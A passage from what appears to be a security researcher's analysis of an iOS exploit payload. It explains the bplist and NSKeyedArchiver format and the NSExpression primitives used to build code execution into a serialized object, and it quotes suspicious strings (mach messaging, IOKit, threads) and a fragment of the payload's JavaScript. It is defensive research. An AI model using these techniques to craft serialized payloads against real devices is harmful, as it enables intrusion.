class="YrefKOOkxY-c0">XNSThread</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">3NSThread_detachNewThreadWithBlockInvocationInstance</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">6NSThread_detachNewThreadWithBlockInvocationInstanceIMP</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">pthreadinvocation</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">pthread____converted</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">yWpthread</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">pthread_nextinvocation</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">pthread_next____converted</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">and sending and receiving mach messages:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">mach_msg_sendInvocation</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">mach_msg_receive____converted</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> mach_make_memory_entryInvocation</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">mach_make_memory_entry</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">#mach_make_memory_entryInvocationIMP</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">as well as interacting with IOKit:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IOServiceMatchingInvocation</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IOServiceMatching</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IOServiceMatchingInvocationIMP</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">In addition to these strings there are also three fairly large chunks of javascript source which also look fairly suspicious:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">var change_scribble=[.1,.1];change_scribble[0]=.2;change_scribble[1]=.3;var scribble_element=[.1];</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p><h3 class="YrefKOOkxY-c6" id="h.xls77olom0ys"><span class="YrefKOOkxY-c10">Starting up</span></h3> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://googleprojectzero.blogspot.com/2022/03/forcedentry-sandbox-escape.html">Last time I analysed one of these</a></span><span> I used </span><span class="YrefKOOkxY-c3">plutil</span><span> to dump out a human-readable form of the </span><span class="YrefKOOkxY-c3">bplist</span><span class="YrefKOOkxY-c5">. The object was small enough that I was then able to reconstruct the serialized object by hand. This wasn't going to work this time:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">$ plutil -p bplist_raw | wc -l</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> 58995</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Here's a random snipped a few tens of thousands of lines in:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">14319 => {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> "$class" =></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> <CFKeyedArchiverUID 0x600001b32f60 [0x7ff85d4017d0]></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> {value = 29}</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> "NSConstantValue" =></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> <CFKeyedArchiverUID 0x600001b32f40 [0x7ff85d4017d0]></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> {value = 14320}</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">14320 => 2</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">14321 => {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> "$class" =></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> <CFKeyedArchiverUID 0x600001b32fe0 [0x7ff85d4017d0]></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> {value = 27}</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> "NSArguments" =></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> <CFKeyedArchiverUID 0x600001b32fc0 [0x7ff85d4017d0]></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> {value = 14323}</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> "NSOperand" =></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> <CFKeyedArchiverUID 0x600001b32fa0 [0x7ff85d4017d0]></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> {value = 14319}</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> "NSSelectorName" =></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> <CFKeyedArchiverUID 0x600001b32f80 [0x7ff85d4017d0]></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> {value = 14322}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>There are a few possible analysis approaches here: I could just deserialize the object using </span><span class="YrefKOOkxY-c3">NSKeyedUnarchiver</span><span> and see what happens (potentially using </span><span class="YrefKOOkxY-c3">dtrace</span><span> to hook interesting places) but I didn't want to just learn what this serialized object does - I want to know </span><span class="YrefKOOkxY-c14">how</span><span class="YrefKOOkxY-c5"> it works.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Another option would be parsing the output of </span><span class="YrefKOOkxY-c3">plutil</span><span> but I figured this was likely almost as much work as parsing the bplist from scratch so I decided to just write my own </span><span class="YrefKOOkxY-c3">bplist</span><span> and </span><span class="YrefKOOkxY-c3">NSArchiver</span><span class="YrefKOOkxY-c5"> parser and go from there.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This might seem like overdoing it, but with such a huge object it was likely I was going to need to be in the position to manipulate the object quite a lot to figure out how it actually worked.</span></p><h3 class="YrefKOOkxY-c6" id="h.z586oq8lkb3t"><span class="YrefKOOkxY-c10">bplist</span></h3> <p class="YrefKOOkxY-c2"><span>Fortunately, </span><span class="YrefKOOkxY-c3">bplist</span><span> isn't a very complicated serialization format and only takes a hundred or so lines of code to implement. Furthermore, I didn't need to support all the </span><span class="YrefKOOkxY-c3">bplist</span><span class="YrefKOOkxY-c5"> features, just those used in the single serialized object I was investigating.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://medium.com/@karaiskc/understanding-apples-binary-property-list-format-281e6da00dbd">This blog post</a></span><span> gives a great overview of the format and also links to the </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://opensource.apple.com/source/CF/CF-550/CFBinaryPList.c">CoreFoundation .c file</a></span><span class="YrefKOOkxY-c5"> containing a comment defining the format.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">A bplist serialized object has 4 sections:</span></p><ul style="padding: 0;" class="c8 lst-kix_wvnn2lytn2eh-0 start"><li style="margin-left: 46pt;" class="c2 c9 li-bullet-0"><span class="YrefKOOkxY-c5">header</span></li><li style="margin-left: 46pt;" class="c2 c9 li-bullet-0"><span class="YrefKOOkxY-c5">objects</span></li><li style="margin-left: 46pt;" class="c2 c9 li-bullet-0"><span class="YrefKOOkxY-c5">offsets</span></li><li style="margin-left: 46pt;" class="c2 c9 li-bullet-0"><span class="YrefKOOkxY-c5">trailer</span></li></ul> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">The objects section contains all the serialized objects one after the other. The offsets table contains indexes into the objects section for each object. Compound objects (arrays, sets and dictionaries) can then reference other objects via indexes into the offsets table.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">bplist</span><span class="YrefKOOkxY-c5"> only supports a small number of built-in types:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">null</span><span>, </span><span class="YrefKOOkxY-c3">bool</span><span>, </span><span class="YrefKOOkxY-c3">int</span><span>, </span><span class="YrefKOOkxY-c3">real</span><span>, </span><span class="YrefKOOkxY-c3">date</span><span>, </span><span class="YrefKOOkxY-c3">data</span><span>, </span><span class="YrefKOOkxY-c3">ascii string</span><span>, </span><span class="YrefKOOkxY-c3">unicode string</span><span>, </span><span class="YrefKOOkxY-c3">uid</span><span>, </span><span class="YrefKOOkxY-c3">array</span><span>, </span><span class="YrefKOOkxY-c3">set</span><span> and </span><span class="YrefKOOkxY-c0">dictionary</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>The serialized form of each type is pretty straightforward, and explained clearly in this comment in </span><span class="YrefKOOkxY-c3">CFBinaryPlist.c</span><span class="YrefKOOkxY-c5">:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">Object Formats (marker byte followed by additional info in some cases)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">null 0000 0000</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">bool 0000 1000 // false</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">bool 0000 1001 // true</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">fill 0000 1111 // fill byte</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">int 0001 nnnn ... // # of bytes is 2^nnnn, big-endian bytes</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">real 0010 nnnn ... // # of bytes is 2^nnnn, big-endian bytes</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">date 0011 0011 ... // 8 byte float follows, big-endian bytes</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">data 0100 nnnn [int] ... // nnnn is number of bytes unless 1111 then int count follows, followed by bytes</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">string 0101 nnnn [int] ... // ASCII string, nnnn is # of chars, else 1111 then int count, then bytes</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">string 0110 nnnn [int] ... // Unicode string, nnnn is # of chars, else 1111 then int count, then big-endian 2-byte uint16_t</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> 0111 xxxx // unused</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">uid 1000 nnnn ... // nnnn+1 is # of bytes</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> 1001 xxxx // unused</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">array 1010 nnnn [int] objref* // nnnn is count, unless '1111', then int count follows</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> 1011 xxxx // unused</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">set 1100 nnnn [int] objref* // nnnn is count, unless '1111', then int count follows</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">dict 1101 nnnn [int] keyref* objref* // nnnn is count, unless '1111', then int count follows</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> 1110 xxxx // unused</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> 1111 xxxx // unused</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>It's a Type-Length-Value encoding with the type field in the upper nibble of the first byte. There's some subtlety to decoding the variable sizes correctly, but it's all explained fairly well in the CF code. The </span><span class="YrefKOOkxY-c3">keyref*</span><span> and </span><span class="YrefKOOkxY-c3">objref*</span><span> are indexes into the eventual array of deserialized objects; the </span><span class="YrefKOOkxY-c3">bplist</span><span class="YrefKOOkxY-c5"> header defines the size of these references (so a small object with up to 256 objects could use a single byte as a reference.)</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Parsing the </span><span class="YrefKOOkxY-c3">bplist</span><span class="YrefKOOkxY-c5"> and printing it ends up with an object with this format:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">dict {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ascii("$top"):</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> dict {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ascii("root"):</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> uid(0x1)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ascii("$version"):</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> int(0x186a0)</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ascii("$objects"):</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> array [</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [+0]:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ascii("$null")</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [+1]:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> dict {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ascii("NS.relative"):</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> uid(0x3)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ascii("WK.baseURL"):</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> uid(0x3)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ascii("$0"):</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> int(0xe)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ascii("$class"):</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> uid(0x2)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [+2]:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> dict {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ascii("$classes"):</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> array [</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [+0]:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ascii("WKSecureCodingURLWrapper")</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [+1]:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ascii("NSURL")</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [+2]:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ascii("NSObject")</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ]</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ascii("$classname"):</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ascii("WKSecureCodingURLWrapper")</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>The top level object in this </span><span class="YrefKOOkxY-c3">bplist</span><span class="YrefKOOkxY-c5"> is a dictionary with three entries:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">$version: int(100000)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">$top: uid(1)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">$objects: an array of dictionaries</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>This is the top-level format for an </span><span class="YrefKOOkxY-c3">NSKeyedArchiver</span><span>. Indirection in </span><span class="YrefKOOkxY-c3">NSKeyedArchivers</span><span> is done using the </span><span class="YrefKOOkxY-c3">uid</span><span> type, where the values are integer indexes into the </span><span class="YrefKOOkxY-c3">$objects</span><span> array. (Note that this is an </span><span class="YrefKOOkxY-c14">extra</span><span> layer of indirection, on top of the </span><span class="YrefKOOkxY-c3">keyref</span><span>/</span><span class="YrefKOOkxY-c3">objref</span><span> indirection used at the </span><span class="YrefKOOkxY-c3">bplist</span><span class="YrefKOOkxY-c5"> layer.)</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>The </span><span class="YrefKOOkxY-c3">$top</span><span> dictionary has a single key "</span><span class="YrefKOOkxY-c3">root</span><span>" with value </span><span class="YrefKOOkxY-c3">uid(1)</span><span> indicating that the object serialized by the </span><span class="YrefKOOkxY-c3">NSKeyedArchiver</span><span> is encoded as the second entry in the </span><span class="YrefKOOkxY-c3">$objects</span><span class="YrefKOOkxY-c5"> array.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Each object encoded within the NSKeyedArchiver effectively consists of two dictionaries:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">one defining its properties and one defining its class. Tidying up the sample above (since dictionary keys are all ascii strings) the properties dictionary for the first object looks like this:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NS.relative : uid(0x3)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> WK.baseURL : uid(0x3)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> $0 : int(0xe)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> $class : uid(0x2)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>The </span><span class="YrefKOOkxY-c3">$class</span><span> key tells us the type of object which is serialized. Its value is </span><span class="YrefKOOkxY-c3">uid(2)</span><span class="YrefKOOkxY-c5"> which means we need to go back to the objects array and find the dictionary at that index:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> $classname : "WKSecureCodingURLWrapper"</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> $classes : ["WKSecureCodingURLWrapper",</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> "NSURL",</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> "NSObject"]</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Note that in addition to telling us the final class (</span><span class="YrefKOOkxY-c3">WKSecureCodingURLWrapper</span><span class="YrefKOOkxY-c5">) it also defines the inheritance hierarchy. The entire serialized object consists of a fairly enormous graph of these two types of dictionaries defining properties and types.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>It shouldn't be a surprise to see </span><span class="YrefKOOkxY-c3">WKSecureCodingURLWrapper</span><span class="YrefKOOkxY-c5"> here; we saw it right at the end of the first section.</span></p><h3 class="YrefKOOkxY-c6" id="h.24j1kv497pj1"><span class="YrefKOOkxY-c10">Finding the beginning</span></h3> <p class="YrefKOOkxY-c2"><span>Since we have a custom parser we can start dumping out subsections of the object graph looking for the </span><span class="YrefKOOkxY-c3">NSExpression</span><span>s. In the end we can follow these properties to find an array of </span><span class="YrefKOOkxY-c3">PTSection</span><span> objects, each of which contains multiple </span><span class="YrefKOOkxY-c3">PTRow</span><span> objects, each with an associated condition in the form of an </span><span class="YrefKOOkxY-c3">NSComparisonPredicate</span><span class="YrefKOOkxY-c5">:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">sections = follow(root_obj, ['NS.relative', 'NS.relative', 'NS.configDict', 'NS.skkeyset', 'components', 'NS.objects'])</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Each of those </span><span class="YrefKOOkxY-c3">PTRow</span><span>s contains a single predicate to evaluate - in the end the relevant parts of the payload are contained entirely in four </span><span class="YrefKOOkxY-c3">NSExpression</span><span class="YrefKOOkxY-c5">s.</span></p><h3 class="YrefKOOkxY-c6" id="h.wtf8atsj3nr"><span class="YrefKOOkxY-c10">Types</span></h3> <p class="YrefKOOkxY-c2"><span>There are only a handful of primitive </span><span class="YrefKOOkxY-c3">NSExpression</span><span class="YrefKOOkxY-c5"> family objects from which the graph is built:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c13">NSComparisonPredicate</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSLeftExpression</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSRightExpression</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSPredicateOperator</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Evaluate the left and right side then return the result of comparing them with the given operator.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c13">NSFunctionExpression</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSSelectorName</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSArguments</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSOperand</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Send the provided selector to the operand object passing the provided arguments, returning the return value</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c13">NSConstantValueExpression</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSConstantValueClassName</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSConstantValue</span></p> <p class="YrefKOOkxY-c2"><span>A constant value or </span><span class="YrefKOOkxY-c3">Class</span><span class="YrefKOOkxY-c5"> object</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c13">NSVariableAssignmentExpression</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSAssignmentVariable</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSSubexpression</span></p> <p class="YrefKOOkxY-c2"><span>Evaluate the </span><span class="YrefKOOkxY-c3">NSSubexpression</span><span class="YrefKOOkxY-c5"> and assign its value to the named variable</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c13">NSVariableExpression</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSVariable</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Return the value of the named variable</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c13">NSCustomPredicateOperator</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSSelectorName</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">The name of a selector in invoke as a comparison operator</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c13">NSTernaryExpression</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSPredicate</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSTrueExpression</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSFalseExpression</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Evaluate the predicate then evaluate either the true or false branch depending on the value of the predicate.</span></p><h3 class="YrefKOOkxY-c6" id="h.55jridy7gehd"><span class="YrefKOOkxY-c10">E2BIG</span></h3> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">The problem is that the object graph is simply enormous with very deep nesting. Attempts to perform simple transforms of the graph to a text representation quickly became incomprehensible with over 40 layers of nesting.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">It's very unlikely that whoever crafted this serialized object actually wrote the entire payload as a single expression. Much more likely is that they used some tricks and tooling to turn a sequential series of operations into a single statement. But to figure those out we still need a better way to see what's going on.</span></p><h3 class="YrefKOOkxY-c6" id="h.uul3arwc6ntd"><span class="YrefKOOkxY-c10">Going DOTty</span></h3> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This object is a graph - so rather than trying to immediately transform it to text why not try to visualize it as a graph instead?</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://graphviz.org/doc/info/lang.html">DOT</a></span><span> is the graph description language used by 